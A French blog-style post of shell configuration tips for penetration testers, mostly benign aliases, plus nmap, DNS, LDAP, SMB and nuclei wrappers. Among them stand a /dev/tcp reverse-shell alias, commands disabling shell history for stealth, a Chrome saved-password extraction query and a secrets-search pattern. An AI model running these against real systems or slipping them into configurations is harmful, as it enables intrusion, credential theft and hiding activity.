20 Tips to Configure Your Shell like a Pentester

Il y a, quelque part, un fichier nommé .bashrc qui attend qu’on le regarde avec affection. Si vous voulez qu’il cesse d’être un coffre-fort de commandes oubliées et devienne un assistant fidèle, lisez la suite : nous allons lui apprendre quelques tours utiles.

Avant tout, Sauvegarde :

cp ~/.bashrc ~/.bashrc.bak

1/ Autoreload du bashrc

Pratique banal et brillant : recharger sa configuration sans fermer le terminal. Utile quand on affine des alias, des fonctions ou la variable PATH et qu’on veut voir le résultat immédiatement. Cela évite d’ouvrir une nouvelle session ou d’oublier qu’on tourne encore sur l’ancienne configuration.

alias reload='source ~/.bashrc' 

2/ netcat reverseshell

alias revshell='bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

3/ Stealth history control

unset HISTFILE
export HISTSIZE=0

4/ Quicklocal webserver

Très pratique pour partager un fichier, présenter une pré-demo, ou tester rapidement un asset web statique. Un alias qui lance un serveur HTTP minimal évite d’installer des services lourds. Utiliser avec prudence : vérifiez l’interface liée (localhost vs 0.0.0.0) et autorisations réseau pour ne pas exposer des données par inadvertance.

alias serve='python3 -m http.server 8000'

Des alternatives comme updog avec une interface web peuvent également entrer dans l'arsenal.

Pour Windows, monter un partage smb rapidement peut permettre à d'autres auditeurs de joindre le partage.

5/ Recon des essentiels de la machine

Un petit raccourci qui affiche l’essentiel : identité de la machine, utilisateur courant, infos réseau. Utile pour avoir un état d’esprit rapide avant de lancer une enquête plus profonde ou diagnostiquer un incident. Restez conscient : partager ces informations sans filtrage peut exposer des données sensibles.

recon() { echo "[*] Running Recon..."; uname -a; whoami; id; ifconfig; }

6/ hostname terminal title

Mettre le nom d’utilisateur, l’hôte et le répertoire courant dans le titre de terminal (et un prompt lisible) est un confort énorme — vous savez instantanément sur quelle machine vous travaillez, même quand vous avez plusieurs onglets ouverts. Très pratique sur des sessions SSH multiples.

case "$TERM" in
    xterm*|rxvt*) PS1="\[\e]0;\u@\h: \w\a\]\u@\h:\w$ " ;;
esac

La variable PS1 (votre prompt) contient deux parties :

1. Titre de la fenêtre du terminal (invisible dans le prompt)

• \[\e]0;\u@\h: \w\a\] : Définit le titre de votre fenêtre
• Affichera quelque chose comme : utilisateur@ordinateur: /home/utilisateur/dossier

2. Le prompt visible

• \u@\h:\w$ : Ce que vous voyez réellement
• \u = votre nom d'utilisateur
• @\h = @ suivi du nom de votre machine
• :\w = : suivi du répertoire actuel
• $ = le symbole $ (ou # si vous êtes root)

7/ The world in colors!

Activer la coloration automatique pour les commandes comme ls ou grep rend l’œil plus heureux et la lecture plus rapide. Les choses importantes ressortent visuellement, ce qui accélère le tri de fichiers ou la lecture de résultats.

alias grep='grep --color=auto'
alias ls='ls --color=auto -F'

8/ Find ip fast

Un raccourci pour afficher vos adresses IP locales évite d’écrire une commande longue à chaque fois. Pratique quand on configure des services, vérifie des bind interfaces, ou fournit une adresse à un collègue.

alias myip="ip a | grep inet | grep -v '127.0.0.1' | awk '{print \$2}' | cut -d/ -f1"

9/ Notify command completion

Recevoir une notification (sonore ou graphique) quand une tâche longue se termine (compilation, scan légitime autorisé, gros backup) est d’une politesse agréable pour soi-même. S’assure aussi que l’on n’oublie pas ce qu’on laissait tourner.

notify() { "$@"; notify-send "Command '$*' finished." & }
# Exemple
notify nmap -sS -p- 10.10.10.10

Il sera sûrement nécessaire d'installer un paquet pour notify-send mais je vous laisse chercher pour ça.

10/ Trouvez vos outils rapidement

Un raccourci qui vous emmène directement dans votre répertoire tools et en affiche le contenu : gain de temps, moins de frappes, meilleure productivité. Idéal si vous avez une arborescence de projets bien organisée.

cdtools() { cd ~/tools/$1 && ls; }

11/ Extraire une archive peu importe le format

Une fonction qui détecte le format d’une archive et l’extrait correctement évite de se souvenir de douze syntaxes différentes. Très utile pour les développeurs qui reçoivent souvent des binaires compressés. C'est connu, mais c'est un must!

extract () {
  if [ -f "$1" ]; then
    case "$1" in
      *.tar.bz2) tar xjf "$1" ;;
      *.tar.gz)  tar xzf "$1" ;;
      *.bz2)     bunzip2 "$1" ;;
      *.rar)     unrar x "$1" ;;
      *.gz)      gunzip "$1" ;;
      *.tar)     tar xf "$1" ;;
      *.tbz2)    tar xjf "$1" ;;
      *.tgz)     tar xzf "$1" ;;
      *.zip)     unzip "$1" ;;
      *.Z)       uncompress "$1" ;;
      *.7z)      7z x "$1" ;;
      *)         echo "Unknown format: $1" ;;
    esac
  else
    echo "'$1' is not a valid file"
  fi
}

12/ Find my IP local and public

alias myip="ip -brief addr | awk '{print \$1, \$3}' | sed 's#/.*##'; echo -n 'pub: '; curl -m 2 -s https://ifconfig.me || echo 'n/a'"

13/ Wrappers nmap

##### ——— Nmap : wrappers utiles ———
# Ping sweep / top 100 / full TCP / UDP rapide
pscan(){ [[ -z "$1" ]] && echo "Usage: pscan <CIDR|liste>" && return 1
  nmap -sn -PE -PS21,22,80,443,445,3389 "$1" -oA "scan_ping_${1//\//_}"; }

t100(){ [[ -z "$1" ]] && echo "Usage: t100 <cible>" && return 1
  nmap -Pn --top-ports 100 -sS -sV -oA "scan_t100_$1" "$1"; }

fulltcp(){ [[ -z "$1" ]] && echo "Usage: fulltcp <cible>" && return 1
  sudo nmap -Pn -p- -sS -sV -sC --max-retries 2 --min-rate 2000 -oA "scan_fulltcp_$1" "$1"; }

udpskim(){ [[ -z "$1" ]] && echo "Usage: udpskim <cible>" && return 1
  sudo nmap -sU --top-ports 100 --reason -oA "scan_udp_$1" "$1"; }

14 - dnsenum fast

Un raccourci qui collecte les enregistrements DNS, la WHOIS, et tente un transfert de zone donne un premier panorama d’un domaine. Là encore, ces actions doivent être menées dans un cadre légal et éthique (tests autorisés, audit interne).

##### ——— DNS / LDAP / SMB enum rapides ———
dnsenum(){ [[ -z "$1" ]] && echo "Usage: dnsenum <domaine>" && return 1
  echo "— WHOIS"; whois "$1" | sed -n '1,80p'
  echo "— Enregistrements"; for t in A AAAA CNAME MX TXT NS; do dig +short "$1" $t; done
  echo "— Transfert de zone ?"; for ns in $(dig +short NS "$1"); do echo ">> $ns"; dig @$ns "$1" AXFR +time=3 +tries=1; done; }

15 - Get internal IPs frop ARP table

Lire la table ARP pour voir des IP connues sur le réseau local est très pratique pour dépanner ou identifier des hôtes. Utile en administration réseau, mais peu fiable si l’ARP cache est obsolète.

alias internip="arp -a | awk '{print $2}' | tr -d '()'"

16/ SMB connect LDAP search

ldapen(){ [[ -z "$1" ]] && echo "Usage: ldapen <ip> [baseDN]" && return 1
  ldapsearch -x -H "ldap://$1" -s base -LLL -o nettimeout=3 -b "${2:-''}" 2>/dev/null | sed '/^#/d'; }

smbquick(){ [[ -z "$1" ]] && echo "Usage: smbquick <ip>" && return 1
  smbclient -L "//$1/" -N 2>/dev/null | sed 's/^\t//'; }

17 - Logs et traçabilité

Démarrer une session enregistrée ou forcer l’écriture du history régulièrement est une excellente pratique d’audit : journaliser les actions importantes facilite les post-mortems et la conformité. Contrairement à masquer l’historique, garder des logs est responsable.

# Démarrer un log de session dans ~/pentest_logs/YYYYmmdd-HHMM.typescript
logstart(){ mkdir -p ~/pentest_logs; local f=~/pentest_logs/$(date +%Y%m%d-%H%M).typescript
  script -q -f "$f"; }
# Enregistrer toutes les commandes également dans un journal léger
export PROMPT_COMMAND='history -a; history -n; '"$PROMPT_COMMAND"

18 - Créer structure de dossier pentest et notes timestampisées

Une commande qui génère une structure standard de dossier (recon, scans, loot, notes, scripts, report) aide à organiser le travail et les preuves dans des engagements légitimes ou des projets pédagogiques.

# Créer un dossier d’engagement standardisé
mkeng(){ [[ -z "$1" ]] && echo "Usage: mkeng <NOM>" && return 1
  mkdir -p "$1"/{recon,scans,loot,notes,scripts,report}; tree -C "$1" || true; }

# Quick “case file” note (timestamp + message)
note(){ mkdir -p notes; echo "[$(date +'%F %T')] $*" | tee -a notes/notes.log; }

19/ Nuclei pocweb

Lancer des templates de vulnérabilité ciblés contre une URL pour détecter des problèmes connus peut aider à prioriser les actions. Toujours avec consentement écrit et dans un périmètre défini.

# Nuclei templates “quick-win”
pocweb(){ [[ -z "$1" ]] && echo "Usage: pocweb <url|host>" && return 1
  nuclei -u "$1" -severity low,medium,high,critical -o "nuclei_${1//[:\/]/_}.txt"; }

20/ Sortuniq

##### ——— Quick wordlist utils ———
# Filtrer “uniques + tri” (gros fichiers)
uniqsort(){ sort -u -o "$1" "$1"; }

21/ Extract Chrome passwd

alias chromepasswd="sqlite3 ~/.config/google-chrome/Default/Login\ Data "SELECT origin_url, username_value, password_value FROM logins;"

22/ Soyez notifiez quand une modification est apportée à un dossier

Surveiller un répertoire pour détection de modifications est utile pour la post exploitation, et identifier si quelqu'un mène des actions correctives.

notifchg="inotifywait -m $1"

23/ Recherche de secret dans un repertoire

Chercher des clés API ou tokens stockés en clair est une bonne idée pour durcir une base de code. Mais l’action de rechercher et d’extraire des secrets d’un système qui n’est pas le vôtre est inappropriée. Pour vos dépôts, automatisez les scans de secrets en pipeline CI et révoquez rapidement toute clé trouvée.

secrets(){ [[ -z "$1" ]] && echo "Usage: secrets
" && return 1
grep -RInE "(api[_-]?key|secret|token|aws_secret|passwd|password|authorization: Bearer)" "$1" 2>/dev/null | head -n 200; }

24 / Extraire les urls d'un fichier

Très utile pour transformer des dumps en listes utilisables — par exemple pour revue de sécurité ou crawl légitime. Simple et efficace pour préparer un dataset.

extract_urls(){ grep -aoE 'https?://[a-zA-Z0-9._~:/?#[]@!$&'''()*+,;=%-]+' "$1" | sort -u; }

25 / Génère des Hashs de tous les fichiers d'un dossier

Générer des sommes de contrôle pour tout un dossier permet de vérifier que rien n’a été modifié entre deux captures d’état — utile en investigation interne ou pour archivage.

# Enregistre un artefact dans $OUT/loot/ avec hash + manifest CSV
evidence(){ [[ -z "$1" ]] && echo "Usage: evidence <file> [tag]" && return 1
  [[ -z "$OUT" ]] && OUT="$PWD"
  mkdir -p "$OUT/loot"
  local f="$1" tag="${2:-misc}" bn="$(basename "$f")"
  local sha="$(sha256sum "$f" | awk '{print $1}')"
  cp -a "$f" "$OUT/loot/$bn"
  echo "$(date -Iseconds),$bn,$sha,$tag" | tee -a "$OUT/loot/manifest.csv"
  echo "→ $OUT/loot/$bn  sha256=$sha"
}

# Hasher un répertoire récursivement -> CSV (chemin,sha256)
hashdir(){ [[ -z "$1" ]] && echo "Usage: hashdir <dir>" && return 1
  find "$1" -type f -print0 | xargs -0 sha256sum | awk '{print $2","$1}' > "${2:-hashes.csv}"
  echo "→ ${2:-hashes.csv}"; }